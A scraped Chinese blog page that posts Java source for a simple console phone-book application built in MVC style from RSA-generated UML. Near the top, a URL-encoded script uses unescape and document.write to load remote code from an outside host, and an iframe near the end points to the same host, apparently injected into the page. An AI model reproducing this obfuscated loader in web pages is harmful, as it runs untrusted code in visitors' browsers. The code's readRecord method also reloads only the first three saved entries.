上文中RSA电话本JAVA程序源代码

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
上文中RSA电话本JAVA程序源代码


a>
xiaobingyang:
15. 用户以前编写的C/C++程序,稍加修改便可嵌入到web页面中。
16. 自动检测堆栈是否溢出,资源是否泄漏。
17. 可先用HTML、javascript及DOM实现软件界面(包括主窗口、工具条和对话框等)的布局和表现,再用C/C++实现界面的程序逻辑。
YC把C/C++编译器嵌入到HTML解析器中,使网页支持C/C++语言。……
xiaobingyang:
请使用我开发的C/C++编译器、网页浏览器
下载地址:
http://www.nila.com.cn/yczip.zip
YC,全称是Yang C/C++ Compiler & Internet Browser,也叫YC编译型浏览器,是面向对象和构件的软件开发系统。它具有一种独创的将动、静态编程语言与Web页面相结合的软件开发模式,这……
vfp_system:
小子怎么联系你呀。我是胡孝文。










上一篇: 华中电网项目日志:业务与项目背景
 | 
下一篇: 使用Rational Software Architect设计一个电话本程序

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 上文中RSA电话本JAVA程序源代码



应大家急迫要求,本人上传上文中RSA电话本JAVA代码 
PhoneBookView.java
import java.io.BufferedReader;
import java.io.InputStreamReader;
/*
* Created on Nov 23, 2005
*/
/**
* @author tng
* View interface for the phone book application
* A simple line command interface is implemented
*/
public class PhoneBookView {
/*
* Attributes transformed from UML by RSA:
*/
// phonebookcontroller and phonebookmodel are generated by RSA
// to represent the association relationship
private PhoneBookController phonebookcontroller;
private PhoneBookModel phonebookmodel;
/*
* Add my own attributes
*/
// The following are some questions to be asked to user
// via the line command interface
public static String ADD_NAME_Q = "Please enter the exact person name";
public static String ADD_NUMBER_Q = "Please enter the phone number";
public static String SEARCH_Q = "Please enter the exact person name.";
public static String IDLE_Q =
"Please enter your choice of action, /"" +
PhoneBookController.ADD_COMMAND + "/" to add a phone entry or /"" +
PhoneBookController.SEARCH_COMMAND +
"/" to search for a phone number or /"" +
PhoneBookController.QUIT_COMMAND + "/" to end the application.";
public static String SEARCH_RESULT_Q =
" - This is the located phone number. Enter /"" +
PhoneBookController.START_COMMAND +
"/" to do more with the application or /"" +
PhoneBookController.QUIT_COMMAND + "/" to end the application.";
public static String SEARCH_NOT_FOUND_Q =
" Phone number not found. Enter /"" +
PhoneBookController.START_COMMAND +
"/" to do more with the application or /"" +
PhoneBookController.QUIT_COMMAND + "/" to end the application.";
public static String ERROR_Q =
"You've entered an invalid choice. Enter /"" +
PhoneBookController.START_COMMAND +
"/" to do more with the application or /"" +
PhoneBookController.QUIT_COMMAND + "/" to end the application.";
/**
* Operations transformed from UML by RSA
*/
/**
* get called when the state has been changed
* @param newState
*/
public void stateHasChanged(PhoneBookModel model, String newState) {
phonebookmodel = model;
changeView(newState);
}
/**
* change the view based on the new state
* @param newState
*/
public void changeView(String newState) {
if (newState.equals(PhoneBookModel.IDLE_STATE)) {
getUserInput(IDLE_Q);
}
else if (newState.equals(PhoneBookModel.ADD_NAME_STATE)) {
getUserInput(ADD_NAME_Q);
}
else if (newState.equals(PhoneBookModel.ADD_NUMBER_STATE)) {
getUserInput(ADD_NUMBER_Q);
}
else if (newState.equals(PhoneBookModel.SEARCH_STATE)) {
getUserInput(SEARCH_Q);
}
else if (newState.equals(PhoneBookModel.SEARCH_RESULT_STATE)) {
String result = phonebookmodel.getSearchResult();
if (result == null || result.length() == 0) {
getUserInput(SEARCH_NOT_FOUND_Q);
}
else {
getUserInput(result + SEARCH_RESULT_Q);
}
}
else if (newState.equals(PhoneBookModel.ERROR_STATE)) {
getUserInput(ERROR_Q);
}
else if (newState.equals(PhoneBookModel.EXIT_STATE)) {
System.out.println("Bye Bye");
}
}
/**
* get user input based on question
* @param question
*/
public void getUserInput(String question) {
BufferedReader in =
new BufferedReader(new InputStreamReader(System.in));
System.out.println(question);
try {
String answer = in.readLine().trim();
phonebookcontroller.userHasInput(answer);
}
catch (Exception e){
e.printStackTrace();
}
}
/**
* Add my own operations
*/
/**
* constructor
* @param controller
*/
public PhoneBookView(PhoneBookController controller) {
phonebookcontroller = controller;
}
}
//
PhoneBookModel.java
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintStream;
import java.util.Enumeration;
import java.util.Hashtable;
/*
* Created on Nov 23, 2005
*/
/**
* @author tng
* Model data for the phone book application.
* The phone book entries are persisted to a file
*/
public class PhoneBookModel {
/*
* Attributes transformed from UML by RSA
*/
// phonebookview is generated by RSA
// to represent the association relationship
private PhoneBookView phonebookview;
/*
* Add my own attributes
*/
// The following are various states captured by the model
public static String ADD_NAME_STATE = "ADD_NAME";
public static String ADD_NUMBER_STATE = "ADD_NUMBER";
public static String SEARCH_STATE = "SEARCH";
public static String IDLE_STATE = "IDLE";
public static String SEARCH_RESULT_STATE = "SEARCH_RESULT";
public static String ERROR_STATE = "ERROR";
public static String EXIT_STATE = "EXIT";
// Private fields used to track various model data
private String state = IDLE_STATE;
private String searchResult = null;
private Hashtable phoneBook = null;
// For persisting the phone book entries into a file
private static final String RECORD_FILE = "phoneBook.txt";
private static final String RECORD_SEPARATOR = "_SEP_";
/**
* Operations transformed from UML by RSA
*/
/**
* set the state
* @param aState
*/
public void setState(String aState) {
state = aState;
phonebookview.stateHasChanged(this, state);
}
/**
* add a phone entry
* @param name
* @param number
*/
public void addAnEntry(String name, String number) {
phoneBook.put(name, number);
}
/**
* search the phone number and set the searchResult field
* @param name
*/
public void searchPhoneNumber(String name) {
searchResult = (String) phoneBook.get(name);
}
/**
* return the search result
*/
public String getSearchResult() {
return searchResult;
}
/**
* get the state
*/
public String getState() {
return state;
}
/**
* Add my own operations
*/
/**
* constructor
* @param view
*/
public PhoneBookModel(PhoneBookView view) {
phonebookview = view;
phoneBook = new Hashtable();
readRecord();
}
/**
* save all the phone entries
*/
public void saveAll() {
writeRecord();
}
/**
* read the phone entries from the file
*/
private void readRecord()
{
File recordFile;
try {
recordFile = new File(RECORD_FILE);
int i = 0;
if (!recordFile.createNewFile()) {
BufferedReader in =
new BufferedReader(new FileReader(recordFile));
for (i = 0; i < 3; i++) {
String record = in.readLine();
if (record != null && record.length() != 0) {
int separatorIndex =
record.indexOf(RECORD_SEPARATOR);
if (separatorIndex != -1) {
String name = record.substring
(0, separatorIndex);
String number = record.substring
(separatorIndex+RECORD_SEPARATOR.length());
phoneBook.put(name, number);
}
}
}
in.close();
}
}
catch (Exception e) {
e.printStackTrace();
}
}
/**
* write the phone entries to file
*/
private void writeRecord()
{
File recordFile;
try {
recordFile = new File(RECORD_FILE);
FileOutputStream out = new FileOutputStream(RECORD_FILE);
PrintStream p = new PrintStream( out );
Enumeration e = phoneBook.keys();
while (e.hasMoreElements()) {
String name = (String)e.nextElement();
String number = (String) phoneBook.get(name);
String newRecord = name + RECORD_SEPARATOR + number;
p.println(newRecord);
}
p.close();
}
catch (IOException e) {
e.printStackTrace();
}
}
}
//
PhoneBookController.java
/*
* Created on Nov 23, 2005
*/
/**
* @author tng
* Controller for the phone book application
* No sophisticated error handling is implemented
*/
public class PhoneBookController {
/*
* Attributes transformed from UML by RSA:
*/
// phonebookmodel and phonebookview are generated by RSA
// to represent the association relationship
private PhoneBookModel phonebookmodel;
private PhoneBookView phonebookview;
/*
* Add my own attributes
*/
// The following are some commands that initiated by
// user抯 selection
public static String START_COMMAND = "start";
public static String QUIT_COMMAND = "quit";
public static String ADD_COMMAND = "add";
public static String SEARCH_COMMAND = "search";
// A private field used to track user抯 input of person name
private String name;
/**
* Operations transformed from UML by RSA
*/
/**
* Called by PhoneBookView to notify user has input
* @param userInput
*/
public void userHasInput(String userInput) {
String currentState = phonebookmodel.getState();
if (userInput != null && userInput.length() != 0) {
if (currentState.equals(PhoneBookModel.IDLE_STATE)) {
if (userInput.equals(ADD_COMMAND)) {
phonebookmodel.setState
(PhoneBookModel.ADD_NAME_STATE);
}
else if (userInput.equals(SEARCH_COMMAND)) {
phonebookmodel.setState
(PhoneBookModel.SEARCH_STATE);
}
else if (userInput.equals(QUIT_COMMAND)) {
phonebookmodel.saveAll();
phonebookmodel.setState
(PhoneBookModel.EXIT_STATE);
}
else {
phonebookmodel.setState
(PhoneBookModel.ERROR_STATE);
}
}
else if (currentState.equals
(PhoneBookModel.ADD_NAME_STATE)) {
name = userInput;
phonebookmodel.setState
(PhoneBookModel.ADD_NUMBER_STATE);
}
else if (currentState.equals
(PhoneBookModel.ADD_NUMBER_STATE)) {
phonebookmodel.addAnEntry(name, userInput);
phonebookmodel.setState(PhoneBookModel.IDLE_STATE);
}
else if (currentState.equals(PhoneBookModel.SEARCH_STATE)){
phonebookmodel.searchPhoneNumber(userInput);
phonebookmodel.setState
(PhoneBookModel.SEARCH_RESULT_STATE);
}
else if (currentState.equals
(PhoneBookModel.SEARCH_RESULT_STATE) ||
currentState.equals
(PhoneBookModel.ERROR_STATE)) {
if (userInput.equals(START_COMMAND)) {
phonebookmodel.setState
(PhoneBookModel.IDLE_STATE);
}
else if (userInput.equals(QUIT_COMMAND)) {
phonebookmodel.saveAll();
phonebookmodel.setState
(PhoneBookModel.EXIT_STATE);
}
else {
phonebookmodel.setState
(PhoneBookModel.ERROR_STATE);
}
}
}
else {
phonebookmodel.setState(PhoneBookModel.ERROR_STATE);
}
}
/**
* start the application
*/
public void start(){
phonebookmodel.setState(PhoneBookModel.IDLE_STATE);
}
/**
* Add my own operations
*/
/**
* constructor
*/
public PhoneBookController() {
phonebookview = new PhoneBookView(this);
phonebookmodel = new PhoneBookModel(phonebookview);
}
/**
* main
* @param args
*/
public static void main(String[] args)
{
PhoneBookController controller = new PhoneBookController();
controller.start();
}
}

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值